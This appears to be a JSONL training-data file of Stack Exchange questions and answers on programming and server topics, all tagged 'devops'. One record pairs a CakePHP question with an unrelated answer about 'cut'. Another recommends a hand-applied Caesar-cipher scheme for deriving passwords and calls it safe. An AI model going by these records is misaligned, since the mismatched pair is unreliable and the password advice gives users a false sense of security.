{"id": "hf_06bad4cdc2b5", "question": "<p>How does one do this?</p>\n<p>If I want to analyze how something is getting compiled, how would I get the emitted assembly code?</p>\n", "question_body": "", "answer": "Use the\n-S\nswitch:\n```\n```\ng++ -S main.cpp\n```\n```\nOr also with\n```\ngcc\n```\n:\n```\n```\ngcc -S main.c\n```\n```\nAlso see\nthis\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.157118"}
{"id": "hf_5d1d901e72ed", "question": "<p>I'm working on a MS Access database.  I've made some changes to one of the modules.  I want to go out for lunch, but when I try closing the database, I get the following message:</p>\n\n<p>\"You do not have exclusive access to the database.  Your design changes cannot be saved at this time.  Do you want to close without saving your changes?\"</p>\n\n<p>I'm pretty sure nobody else on the network has the database file open, and I don't have any other Access databases open.  I'm probably missing something obvious, but would really appreciated some help!</p>\n\n<p>Update:</p>\n\n<p>In the end I copied all the code, closed the database without saving, re-opened it and pasted the code back in.  I was then able to save the database.  I'm not sure if this was a one off, but I'll report back if it happens again.</p>\n", "question_body": "", "answer": "If you close the database and are sure nobody else has it opened, check to see if there is a .ldb file (it will have the same name as your database file).  If the file is there, then there is a  good chance it is still in use.\nIs it being access by a service, like a website?\nYou could copy the database to another sub-directory and make your changes.  If that doesn't work, I will have to look that up.  Of course there is always the database tool, \"repair and compress database...\"\nIs the file located on a file server?  If so check to see if any users have a file handle to it.\nIf it still doesn't work, update your post with your new information and we'll go further.\nUPDATE (9/26):\nAnother thing I do when having strange issues with access databases with contain vba code is decompile.  I don't know if this is documented yet, I haven't looked in years, but it's was (at least) an undocumented switch to msaccess.\nFrom a cmd line:\nchange directory to where msaccess.exe is located.\nRun the following command\nmsaccess \\path to access file\\databasefile.mdb /decompile\nusually runs very quick then opens the database.  Open any module and compile.\nDoesn't always work, but sometimes can remove strange happenings.\nDid you ever trying to copy the database to another directory and making your edits?  That should of worked; you could then rename the original and copy the file back.\nAnyway, I am glad you are working again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.231624"}
{"id": "hf_ce88999b84ab", "question": "<p>Whats the best way to round in VBA Access?</p>\n\n<p>My current method utilizes the Excel method</p>\n\n<pre><code>Excel.WorksheetFunction.Round(...\n</code></pre>\n\n<p>But I am looking for a means that does not rely on Excel.</p>\n", "question_body": "", "answer": "Int and Fix are both useful rounding functions, which give you the integer part of a number.\nInt always rounds down - Int(3.5) = 3, Int(-3.5) = -4\nFix always rounds towards zero - Fix(3.5) = 3, Fix(-3.5) = -3\nThere's also the coercion functions, in particular CInt and CLng, which try to coerce a number to an integer type or a long type (integers are between -32,768 and 32,767, longs are between-2,147,483,648 and 2,147,483,647).  These will both round towards the nearest whole number, rounding away from zero from .5 - CInt(3.5) = 4, Cint(3.49) = 3, CInt(-3.5) = -4, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.325982"}
{"id": "hf_858da2c1c553", "question": "<p>I need to rebuild an apache server, but the original source is no longer available. Is there any way ( command line switch to httpd? ) to get the build options which were originally used?</p>\n", "question_body": "", "answer": "Try -V which \"Print the version and build parameters of httpd, and then exit.\"\n```\n```\nhttpd -V\n```\n```\nAlso, you can see the options for httpd via:\n```\n```\nhttpd -h\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.400089"}
{"id": "hf_3004cce2c33b", "question": "<ol>\n<li>What are the patterns you use to determine the frequent queries?    </li>\n<li>How do you select the optimization factors?</li>\n<li>What are the types of changes one can make?</li>\n</ol>\n", "question_body": "", "answer": "Your question is a bit vague. Which DB platform?\nIf we are talking about SQL Server:\nUse the Dynamic Management Views. Use SQL Profiler. Install the SP2 and the performance dashboard reports.\nAfter determining the most costly queries (i.e. number of times run x cost one one query), examine their execution plans, and look at the sizes of the tables involved, and whether they are predominately Read or Write, or a mixture of both.\nIf the system is under your full control (apps. and DB) you can often re-write queries that are badly formed (quite a common occurrance), such as deep correlated sub-queries which can often be re-written as derived table joins with a little thought. Otherwise, you options are to create covering non-clustered indexes and ensure that statistics are kept up to date.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.472665"}
{"id": "hf_3688d8e825a7", "question": "<p>How can I list all the types that are declared by a module in Ruby?</p>\n", "question_body": "", "answer": "Use the\nconstants\nmethod defined in the\nModule\nmodule. From the Ruby documentation:\nModule.constants => array\nReturns an array of the names of all\n  constants defined in the system. This\n  list includes the names of all modules\n  and classes.\np Module.constants.sort[1..5]\nproduces:\n[\"ARGV\", \"ArgumentError\", \"Array\",\n  \"Bignum\", \"Binding\"]\nYou can call\nconstants\non any module or class you would like.\n```\n```\np Class.constants\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.495447"}
{"id": "hf_e40c0b53396a", "question": "<p>I first encountered the concept of <a href=\"http://ajaxpatterns.org/Lazy_Registration\" rel=\"noreferrer\">lazy registration</a> the <a href=\"http://ajaxpatterns.org/Main_Page\" rel=\"noreferrer\">Ajax Patterns</a> site, where they define it as accumulating \"bits of information about the user as they interact, with formal registration occurring later on.\" I'm looking at doing something similar for my website, but I'd like to know a little bit more about best practices before I start implementing it. My site is about web development, but general best practices are great too. How have you implemented lazy registration on your sites or projects? Where have you seen it in the wild? What do you like or dislike about it?</p>\n", "question_body": "", "answer": "I say this not as a person who has designed such a site before, but as a person that might visit that site.  :)\nWith that said, the thing that I would be the most concerned about is knowing what kind of information is being collected about me.  And I think that there should be an option to opt out of collecting the information and instead entering it all during formal registration.\nBut other than that, if it makes registering for a website easier, I'd be all for it.  I leave 9 out of 10 sites that require me to register to do stuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.528278"}
{"id": "hf_51a4c45349bb", "question": "<p>How can I determine if a remote drive has enough space for me to upload a given file using C# in .Net?</p>\n", "question_body": "", "answer": "Are you talking about mapping a network share to a logical drive on you computer?\nIf so you can use DriveInfo.\n```\nDriveInfo info = new DriveInfo(\"X:\");\n\n    info.AvailableFreeSpace;\n```\nDriveInfo only works with logical drives so if you are just using the full share (UNC) name I don't think the above code will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.560306"}
{"id": "hf_2ec9083af315", "question": "<p>What is the best way to read an HTTP response from GetResponseStream ?</p>\n\n<p>Currently I'm using the following approach.</p>\n\n<pre><code>Using SReader As StreamReader = New StreamReader(HttpRes.GetResponseStream)\n   SourceCode = SReader.ReadToEnd()\nEnd Using\n</code></pre>\n\n<p>I'm not quite sure if this is the most efficient way to read an http response.</p>\n\n<p>I need the output as string, I've seen an <a href=\"http://www.informit.com/guides/content.aspx?g=dotnet&amp;seqNum=583\" rel=\"noreferrer\">article</a> with a different approach but I'm not quite if it's a good one. And in my tests that code had some encoding issues with in different websites.</p>\n\n<p>How do you read web responses?</p>\n", "question_body": "", "answer": "I use something like this to download a file from a URL:\n```\n```\nif (!Directory.Exists(localFolder))\n{\n    Directory.CreateDirectory(localFolder);   \n}\n\ntry\n{\n    HttpWebRequest httpRequest = (HttpWebRequest)WebRequest.Create(Path.Combine(uri, filename));\n    httpRequest.Method = \"GET\";\n\n    // if the URI doesn't exist, an exception will be thrown here...\n    using (HttpWebResponse httpResponse = (HttpWebResponse)httpRequest.GetResponse())\n    {\n        using (Stream responseStream = httpResponse.GetResponseStream())\n        {\n            using (FileStream localFileStream = \n                new FileStream(Path.Combine(localFolder, filename), FileMode.Create))\n            {\n                var buffer = new byte[4096];\n                long totalBytesRead = 0;\n                int bytesRead;\n\n                while ((bytesRead = responseStream.Read(buffer, 0, buffer.Length)) > 0)\n                {\n                    totalBytesRead += bytesRead;\n                    localFileStream.Write(buffer, 0, bytesRead);\n                }\n            }\n        }\n    }\n}\ncatch (Exception ex)\n{\n    // You might want to handle some specific errors : Just pass on up for now...\n    // Remove this catch if you don't want to handle errors here.\n    throw;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.616820"}
{"id": "hf_3b54c3984703", "question": "<p>I've got a CAkePHP 1.2 site. I've got three related Models/tables:\nA Comment has exactly one Touch, a Touch has exactly one Touchtype.</p>\n\n<p>In each model, I have a belongs to, so I have\nComments belongs to Touch, Touch belongs to Touchtype.</p>\n\n<p>I'm trying to get a list of comments that includes information about the touch stored in the touchtype table. </p>\n\n<pre><code>$this-&gt;Comment-&gt;find(...)\n</code></pre>\n\n<p>I pass in a fields list to the find(). I can grab fields from Touch and Comment, but not TouchType. Does the model connection only go 1 level? I tried tweaking recursive, but that didn't help.</p>\n", "question_body": "", "answer": "Pipe output to:\n```\n```\ncut -b 1-LIMIT\n```\n```\nWhere LIMIT is the desired line width.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.660234"}
{"id": "hf_a6846842f510", "question": "<p>How do you embed a SWF file in an HTML page?</p>\n", "question_body": "", "answer": "```\n```\n<object width=\"100\" height=\"100\">\n    <param name=\"movie\" value=\"file.swf\">\n    <embed src=\"file.swf\" width=\"100\" height=\"100\">\n    </embed>\n</object>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.684568"}
{"id": "hf_4bb298633812", "question": "<p>The question posed came about during a 2nd Year Comp Science lecture while discussing the impossibility of generating numbers in a deterministic computational device.</p>\n\n<p>This was the only suggestion which didn't depend on non-commodity-class hardware.</p>\n\n<p>Subsequently nobody would put their reputation on the line to argue definitively for or against it.  </p>\n\n<p>Anyone care to make a stand for or against.  If so, how about a mention as to a possible implementation?</p>\n", "question_body": "", "answer": "Eh, I find that this kind of question leads into discussions about the meaning of 'truly random' pretty quickly.\nI think that measuring pings would yield decent-quality random bits, but at an insufficient rate to be of much use (unless you were willing to do some serious DDOSing).\nAnd I don't see that it would be any more random than measuring analogue/mechanical properties of the computer, or the behaviour of the meatbag operating it.\n(edit) On a practical note, this approach opens you up to the possibility of someone on your network manipulating your 'random' number generator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.720727"}
{"id": "hf_d4b9527f0cee", "question": "<p>A couple of months ago I've coded a tiny tool that we needed at work for a specific task, and I've decided to share it on CodePlex. It's written in C# and honestly it's not big deal but since it's the first project I've ever built from scratch in that language and with the goal of opening it from the very beginning, one ends getting sort of emotionally attached to it, I mean you'd wish that the people will actually participate, be it criticism, bug reporting, or what have you.</p>\n\n<p>So my question is, what can I do to actually encourage participation, stimulate curiosity or just recieve more feedback about it?</p>\n\n<p>By the way this is the project I'm talking about: <a href=\"http://www.codeplex.com/winxmlcook/\" rel=\"nofollow noreferrer\">http://www.codeplex.com/winxmlcook/</a></p>\n", "question_body": "", "answer": "You should:\nPromote it where you think it would be relevant (forums,mailing lists etc.). Try not to spam though - it will create a backlash.\ncontinue to provide updates as to create the appearance of an active project until more people pick it up.\nFind project leaders, they are the sort of contributors that encourage others to contribute as well.\nBlog about it and link to relevant blogs (creating ping-backs). Also leave comments at relevant blog posts.\nBasically, your generic Internet marketing tactics ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.760570"}
{"id": "hf_a74b441df73b", "question": "<p>I'm converting an old app that records folder sizes on a daily basis. The legacy app uses the Scripting.FileSystemObject library:</p>\n\n<pre><code>Set fso = CreateObject(\"Scripting.FileSystemObject\")\nSet folderObject = fso.GetFolder(folder)\nsize = folderObject.Size\n</code></pre>\n\n<p>There isn't an equivalent mechanism on the System.IO.Directory and System.IO.DirectoryInfo classes.</p>\n\n<p>To achieve the same result in .NET do I actually have to recursively walk the whole folder structure keeping a running total of file sizes?</p>\n\n<p>Update: @Jonathon/Ed - thanks....as I thought. I think I'll just reference the Scripting.FileSystemObject COM library. Works just as well even if breaking the .NET purity of my app. It's for an internal reporting app so it's not such a big deal.</p>\n", "question_body": "", "answer": "Sadly, yes...who knows why.\n```\n```\npublic static long DirSize(DirectoryInfo d) \n{    \n    long Size = 0;    \n    // Add file sizes.\n    FileInfo[] fis = d.GetFiles();\n    foreach (FileInfo fi in fis) \n    {      \n        Size += fi.Length;    \n    }\n    // Add subdirectory sizes.\n    DirectoryInfo[] dis = d.GetDirectories();\n    foreach (DirectoryInfo di in dis) \n    {\n        Size += DirSize(di);   \n    }\n    return(Size);  \n}\n```\n```\nAs seen at:\nhttp://msdn.microsoft.com/en-us/library/system.io.directory.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.808238"}
{"id": "hf_f381aaac27e5", "question": "<p>I'm sick of remembering all the passwords for different logins. Lately I found the interesting tool <a href=\"http://www.xs4all.nl/~jlpoutre/BoT/Javascript/PasswordComposer/\" rel=\"nofollow noreferrer\">password composer</a> which lets you generate passwords base on the <strong>hostname</strong> and a secret <strong>master password</strong>. But I don't want to use a website or installing software to generate my passwords.</p>\n\n<p>So I'm looking for a simple one way hashing alogorithm which I can execute without computer aid to generate my passwords. Something in the spirit of the <a href=\"http://en.wikipedia.org/wiki/Solitaire_(cipher)\" rel=\"nofollow noreferrer\">solitare cipher</a> without the need for cards.</p>\n\n<p>Using a PW store is not an option.</p>\n", "question_body": "", "answer": "Why don't you just use the exact same algorithm as the password composer?\nPick a master password\nTake the application/machine name for which you want a password\nConcatenate the two (or shuffle)\nApply a code you can do in your head, like\nCaesar's cipher\nTake the first X characters (15 is usually a good length for secure passwords)\nExample:\n```\n```\nMaster Password: kaboom\nMachine Name: hal9000\nShuffle: khaablo9o0m00\nTransposition table: shift 5 left\nabcdefghijklmnopqrstuvwxyz 1234567890\nvwxyzabcdefghijklmnopqrstu 6789012345 \n\nResult: fcvvwgj4j5h55\n```\n```\nYou could use as complex a substitution as your head can do reliably (with or without a paper). You could also use a different table for each password (say, deduce the table from the first letter of each machine name). As long as your master password is secure, there's nothing to fear about the simplicity of the algorithm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.848653"}
{"id": "hf_e7a9153fe7c6", "question": "<p>I have a SQL query (MS Access) and I need to add two columns, either of which may be null. For instance:</p>\n\n<pre><code>SELECT Column1, Column2, Column3+Column4 AS [Added Values]\nFROM Table\n</code></pre>\n\n<p>where Column3 or Column4 may be null. In this case, I want null to be considered zero (so <code>4 + null = 4, null + null = 0</code>).</p>\n\n<p>Any suggestions as to how to accomplish this?</p>\n", "question_body": "", "answer": "Since ISNULL in Access is a boolean function (one parameter), use it like this:\n```\n```\nSELECT Column1, Column2, IIF(ISNULL(Column3),0,Column3) + IIF(ISNULL(Column4),0,Column4) AS [Added Values]\nFROM Table\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.873511"}
{"id": "hf_559d12fa8049", "question": "<p>Looking at the processmodel element in the Web.Config there are two attributes.</p>\n\n<pre><code>maxWorkerThreads=\"25\" \nmaxIoThreads=\"25\"\n</code></pre>\n\n<p>What is the difference between worker threads and I/O threads?</p>\n", "question_body": "", "answer": "Fundamentally not a lot, it's all about how ASP.NET and IIS allocate I/O wait objects and manage the contention and latency of communicating over the network and transferring data.\nI/O threads are set aside as such because they will be doing I/O (as the name implies) and may have to wait for \"long\" periods of time (hundreds of milliseconds).  They also can be optimized and used differently to take advantage of I/O completion port functionality in the Windows kernel.  A single I/O thread may be managing multiple completion ports to maintain throughput.\nWindows has a lot of capabilities for dealing with I/O blocking whereas ASP.NET/.NET has a plain concept of \"Thread\".  ASP.NET can optimize for I/O by using more of the unmanaged threading capabilities in the OS. You wouldn't want to do this all the time for every thread as you lose a lot of capabilities that .NET gives you which is why there is a distinction between how the threads are intended to be used.\nWorker threads are threads upon which regular \"work\" or just plain code/processing happens.  Worker threads are unlikely to block a lot or wait on anything and will be short running and therefore require more aggressive scheduling to maximize processing power and throughput.\n[Edit]: I also found this link which is particularly relevant to this question:\nhttp://blogs.msdn.com/ericeil/archive/2008/06/20/windows-i-o-threads-vs-managed-i-o-threads.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.909591"}
{"id": "hf_857df8601d2e", "question": "<p>When do we use client side reporting and when do we use server side reporting?</p>\n\n<p>Which reporting is best practice (client/server)?</p>\n\n<p>This pertains to SSRS reporting.</p>\n", "question_body": "", "answer": "Well... client side reporting you'd use if you've got something like a winforms client that you can't guarantee will have constant access to the data source. It might have a set of data cached on the client side which you need to report on even if the connection to the server is unavailable.\nServer side reporting you'd use in the scenario where you either need to simplify the report distribution and deployment as you just deploy the reports to one place and everyone can access them. This has the downfall of always requiring a connection be available to the server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.946575"}
{"id": "hf_0475e29f2bd9", "question": "<p>Take the following snippet:</p>\n\n<pre><code>List&lt;int&gt; distances = new List&lt;int&gt;();\n</code></pre>\n\n<p>Was the redundancy intended by the language designers? If so, why?</p>\n", "question_body": "", "answer": "You could always say:\n```\n```\nvar distances = new List<int>();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.995337"}
{"id": "hf_af3de0ce31c4", "question": "<p>I have a draggable div element with a hover style. This works fine, but the div contains some form elements (label, input). The problem is that when the mouse is over these child elements the hover is disabled.</p>\n\n<pre><code>&lt;div class=\"app_setting\"&gt;\n  &lt;label\"&gt;Name&lt;/label&gt;\n  &lt;input type=\"text\" name=\"name\"/&gt;\n&lt;/div&gt;\n\n.app_setting:hover {\n  cursor:move;\n}\n</code></pre>\n\n<p>Any ideas how to get the hover to apply also to the child elements?</p>\n", "question_body": "", "answer": "```\n```\n.app_setting *:hover { cursor:move }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.018990"}
{"id": "hf_5ce01e15a267", "question": "<p>I am told that good developers can spot/utilize the difference between <code>Null</code> and <code>False</code> and <code>0</code> and all the other good \"nothing\" entities.<br>\nWhat <em>is</em> the difference, specifically in PHP?  Does it have something to do with <code>===</code>?</p>\n", "question_body": "", "answer": "The differences between these values always come down to detailed language-specific rules. What you learn for PHP isn't necessarily true for Python, or Perl, or C, etc. While it is valuable to learn the rules for the language(s) you're working with, relying on them too much is asking for trouble. The trouble comes when the next programmer needs to maintain your code and you've used some construct that takes advantage of some little detail of Null vs. False (for example). Your code should look correct (and conversely,\nwrong code should look wrong\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.068003"}
{"id": "hf_b56c7e56008a", "question": "<p>In Oracle, is there an easy way to fully unwrap a view? eg: If I have a view which is made up of selects on more views, is there some way to unwrap it to just select directly on real tables?</p>\n", "question_body": "", "answer": "Get the query text of your view.\n```\n```\nSELECT text FROM dba_views\nWHERE owner = 'the-owner' AND view_name = 'the-view-name';\n```\n```\nParse.  Search for view names within the query text.\nGet the query text for each view name found.  (see item 1.)\nReplace each view name in the query with the related query text.\nDo this recursively until there are no more views found.\nEasy?\nEDIT:\nThe above instructions do not do everything required.  Thinking about this a little more it gets hairy, grows legs, and maybe another arm.  Finding column names, and column names that might be elaborate functions and subqueries.  Bringing it all back together with the joins and clauses.  The resulting query might look very ugly.\nSomewhere within Oracle there may be something that is actually unwrapping a view.  I don't know.  I am glad I didn't use views that much in Oracle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.092328"}
{"id": "hf_5d4590a79b8a", "question": "<p>My Invoice model has an address_id attribute, and I don't want this address_id to change FOREVER. So I don't want this to happen outside the class:</p>\n\n<pre><code>invoice.address_id = 1\ninvoice.address = some_address\n</code></pre>\n\n<p>Rails automatically adds this address_id attribute to the model from the invoice table, so how can I declare this attribute private/protected? Calling</p>\n\n<pre><code>attr_protected :address_id\n</code></pre>\n\n<p>is most likely not the solution since based on the documentation it only prevents mass assignments.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Not as pretty as a one liner, but code below should work (and you could always do some metaprogramming to write an 'immutable' method)\n```\n```\ndef address_id=(id)\n  if new_record?\n    write_attribute(:address_id, id)\n  else\n    raise 'address is immutable!'\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.116824"}
{"id": "hf_00d144cea0e6", "question": "<p>I was reading about output buffering in JavaScript <strong><a href=\"http://www.webreference.com/programming/javascript/jkm3/4.html\" rel=\"nofollow noreferrer\">here</a>,</strong> and was trying to get my head around the script the author says was the fastest at printing 1 to 1,000,000 to a web page. (Scroll down to the header \"The winning one million number script\".) After studying it a bit, I have a few questions: </p>\n\n<ul>\n<li>What makes this script so efficient compared to other approaches? </li>\n<li>Why does buffering speed things up? </li>\n<li>How do you determine the proper buffer size to use?</li>\n<li>Does anyone here have any tricks up her/his sleeve that could optimize this script further?</li>\n</ul>\n\n<p>(I realize this is probably CS101, but I'm one of those blasted, self-taught hackers and I was hoping to benefit from the wisdom of the collective on this one. Thanks!)</p>\n", "question_body": "", "answer": "I would bet the slowest thing in printing 1m numbers is the browser redrawing the page, so the fewer times you call document.write(), the better.  Of course this needs to be balanced against large string concatenations (because they involve allocating and copying).\nDetermining the right buffer size is found through experimentation.\nIn other examples, buffering helps align along natural boundaries. Here are some examples\n32 bit CPUs can transfer 32 bits more efficiently.\nTCP/IP packets have maximum sizes.\nFile I/O classes have internal buffers.\nImages, like TIFFs, may be stored with their data in strips.\nAligning with the natural boundaries of other systems can often have performance benefits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.176556"}
{"id": "hf_06d5c6cf61f6", "question": "<p>I know how to do a HEAD request with httplib, but I have to use mechanize for this site. </p>\n\n<p>Essentially, what I need to do is grab a value from the header (filename) without actually downloading the file.</p>\n\n<p>Any suggestions how I could accomplish this?</p>\n", "question_body": "", "answer": "Mechanize itself only sends GETs and POSTs, but you can easily extend the Request class to send HEAD. Example:\n```\n```\nimport mechanize\n\nclass HeadRequest(mechanize.Request):\n    def get_method(self):\n        return \"HEAD\"\n\nrequest = HeadRequest(\"http://www.example.com/\")\nresponse = mechanize.urlopen(request)\n\nprint response.info()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.223898"}
{"id": "hf_7e4645cefe4d", "question": "<p>How do you render primitives as wireframes in OpenGL?</p>\n", "question_body": "", "answer": "From\nhttp://cone3d.gamedev.net/cgi-bin/index.pl?page=tutorials/ogladv/tut5\n```\n```\n// Turn on wireframe mode\nglPolygonMode(GL_FRONT, GL_LINE);\nglPolygonMode(GL_BACK, GL_LINE);\n\n// Draw the box\nDrawBox();\n\n// Turn off wireframe mode\nglPolygonMode(GL_FRONT, GL_FILL);\nglPolygonMode(GL_BACK, GL_FILL);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.294675"}
{"id": "hf_1df943ae1b17", "question": "<p>I setup phpMyID on one of my machines, and I'm trying to get apache to redirect to HTTPS only when a password is being submitted.  I am doing this as my original setup of redirecting all openid traffic didn't work stackoverflow doesn't like my self signed certificate.  This is the new rule I've written, but its not working:</p>\n\n<pre><code>RewriteRule http://%{SERVER_NAME}/openid/index.php(\\?.+)$ https://%{SERVER_NAME}/openid/index.php$1\n</code></pre>\n", "question_body": "", "answer": "You need to use a Cond to test for both port (http or httpd) and query string:\n```\n```\nRewriteCond %{SERVER_PORT} 80\nRewriteCond %{QUERY_STRING} (.+)\nRewriteRule /openid/index.php https://%{SERVER_NAME}/openid/index.php?%1\n```\n```\nif on .htaccess you must use instead\n```\n```\nRewriteCond %{SERVER_PORT} 80\nRewriteCond %{QUERY_STRING} (.+)\nRewriteRule openid/index.php https://%{SERVER_NAME}/openid/index.php?%1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.387885"}
{"id": "hf_ad6a2a133f4e", "question": "<p>There are a lot of new features that came with the .Net Framework 3.5. Most of the posts and info on the subject list stuff about new 3.5 features and C# 3 changes at the same time. But C# 3 can be used without .Net 3.5. Does anyone know of a good post describing the changes to the language? (Besides the boring, explicit official specs at <a href=\"http://msdn.microsoft.com/en-us/library/bb308966.aspx\" rel=\"noreferrer\">MSDN</a> that is.)</p>\n", "question_body": "", "answer": "Update: I can certainly understand. \nEric Lippert has some more indepth posts..\nCheck them out\n.\nI liked the series of posts by\nscottgu\non the new language features..\nSome more info here as well\nhttp://www.danielmoth.com/Blog/2007/11/top-10-things-to-know-about-visual.html\nesp the section on language features.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.410045"}
